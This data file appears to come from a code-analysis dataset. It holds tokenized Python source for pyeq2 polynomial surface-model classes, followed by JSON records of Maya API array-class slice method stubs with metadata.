"\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "X", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Y", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "Y", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "XY_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "XY", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "in", "Coeff", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "in", "Coeff", "s_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "in", "Coeff", "s_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "in", "Coeff", "s_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "in", "Coeff", "s_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "in", "Coeff", "s_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "b_", "*_", "x", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "c_", "*_", "y", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "d_", "*_", "Pow", "X", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "f_", "*_", "Pow", "Y", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "g_", "*_", "XY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", ")_", "*_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Linear_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "X", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Y", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "in", "Coeff", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "in", "Coeff", "s_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "in", "Coeff", "s_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "a_", "+_", "b_", "*_", "x", "\\u", "in_", "+_", "c_", "*_", "y", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", ")_", "*_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simplif", "ied", "Cub", "ic_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "X", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Y", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "Y", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "3_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "3.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "y", "\\u", "3_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "3.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "in", "Coeff", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "in", "Coeff", "s_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "in", "Coeff", "s_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "in", "Coeff", "s_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "in", "Coeff", "s_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "in", "Coeff", "s_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h_", "=_", "in", "Coeff", "s_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "b_", "*_", "x", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "c_", "*_", "y", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "d_", "*_", "Pow", "X", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "f_", "*_", "Pow", "Y", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "g_", "*_", "Pow", "X", "\\u", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "h_", "*_", "Pow", "y", "\\u", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", ")_", "*_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simplif", "ied", "Quadra", "tic_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "X", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "in_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Y", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "X", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "X", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pow", "Y", "\\u", "2_", "=_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Pow", "Y", "\\u", "2.0", "'_", "]_", "#", " ", "only", " ", "need", " ", "to", " ", "perform", " ", "this", " ", "dictionar", "y", " ", "look", "-", "up", " ", "once_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "in", "Coeff", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "in", "Coeff", "s_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "in", "Coeff", "s_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "in", "Coeff", "s_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "in", "Coeff", "s_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "b_", "*_", "x", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "c_", "*_", "y", "\\u", "in_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "d_", "*_", "Pow", "X", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "temp_", "+=_", "f_", "*_", "Pow", "Y", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", ")_", "*_", "1.0", "E3", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Select", "able", "Polynomial", "_", "(_", "pye", "q2_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", "._", "Model", "\\u", "3", "D", "\\u", "Base", "Class_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Calculat", "e", "Model", "Prediction", "s_", "(_", "self_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coef", "f", "Count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "self_", "._", "x", "Polynomial", "Order_", "+_", "1_", ")_", ":_", "#", " ", "0", " ", "to", " ", "x", "Polynomial", "Order_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "j_", "in_", "range_", "(_", "self_", "._", "y", "Polynomial", "Order_", "+_", "1_", ")_", ":_", "#", " ", "0", " ", "to", " ", "x", "Polynomial", "Order_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "temp_", "+=_", "in", "Coeff", "s_", "[_", "coef", "f", "Count_", "]_", "*_", "eval_", "(_", "\"", "in", "Data", "Cache", "Dict", "ionar", "y", "['", "Pow", "X", "\\u", "Pow", "Y", "\\u\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "0", "\"_", "+_", "str_", "(_", "j_", ")_", "+_", "\".", "0", "']\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coef", "f", "Count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "extend", "ed", "Version", "Handler_", "._", "Get", "Addition", "al", "Model", "Prediction", "s_", "(_", "temp_", ",_", "in", "Coeff", "s_", ",_", "in", "Data", "Cache", "Dictionary_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\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py
[ { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__delslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 544 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__getslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 562 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDoubleArray.__setslice__", "header": "['class', 'MDoubleArray', '(', 'object', ')', ':', '___EOS___']", "index": 636 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__delslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 878 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__getslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 896 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatVectorArray.__setslice__", "header": "['class', 'MFloatVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 970 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__delslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1712 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__getslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1730 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUint64Array.__setslice__", "header": "['class', 'MUint64Array', '(', 'object', ')', ':', '___EOS___']", "index": 1804 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__delslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1906 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__getslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1924 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MIntArray.__setslice__", "header": "['class', 'MIntArray', '(', 'object', ')', ':', '___EOS___']", "index": 1998 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__delslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2280 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__getslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2298 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MUintArray.__setslice__", "header": "['class', 'MUintArray', '(', 'object', ')', ':', '___EOS___']", "index": 2372 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__delslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3412 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__getslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3430 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatArray.__setslice__", "header": "['class', 'MFloatArray', '(', 'object', ')', ':', '___EOS___']", "index": 3504 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__delslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4349 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__getslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4367 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MColorArray.__setslice__", "header": "['class', 'MColorArray', '(', 'object', ')', ':', '___EOS___']", "index": 4441 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__delslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5076 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__getslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5094 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MDagPathArray.__setslice__", "header": "['class', 'MDagPathArray', '(', 'object', ')', ':', '___EOS___']", "index": 5168 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__delslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5270 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__getslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5288 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MObjectArray.__setslice__", "header": "['class', 'MObjectArray', '(', 'object', ')', ':', '___EOS___']", "index": 5362 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__delslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5501 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__getslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5519 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MVectorArray.__setslice__", "header": "['class', 'MVectorArray', '(', 'object', ')', ':', '___EOS___']", "index": 5593 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__delslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5742 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__getslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5760 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPointArray.__setslice__", "header": "['class', 'MPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 5834 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__delslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11471 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__getslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11489 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MFloatPointArray.__setslice__", "header": "['class', 'MFloatPointArray', '(', 'object', ')', ':', '___EOS___']", "index": 11563 }, { "content": " def __delslice__(*args, **kwargs):\n \"\"\"\n x.__delslice__(i, j) <==> del x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPlugArray.__delslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12269 }, { "content": " def __getslice__(*args, **kwargs):\n \"\"\"\n x.__getslice__(i, j) <==> x[i:j]\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": "root.MPlugArray.__getslice__", "header": "['class', 'MPlugArray', '(', 'object', ')', ':', '___EOS___']", "index": 12287 }, { "content": " def __setslice__(*args, **kwargs):\n \"\"\"\n x.__setslice__(i, j, y) <==> x[i:j]=y\n \n Use of negative indices is not supported.\n \"\"\"\n \n pass", "metadata": 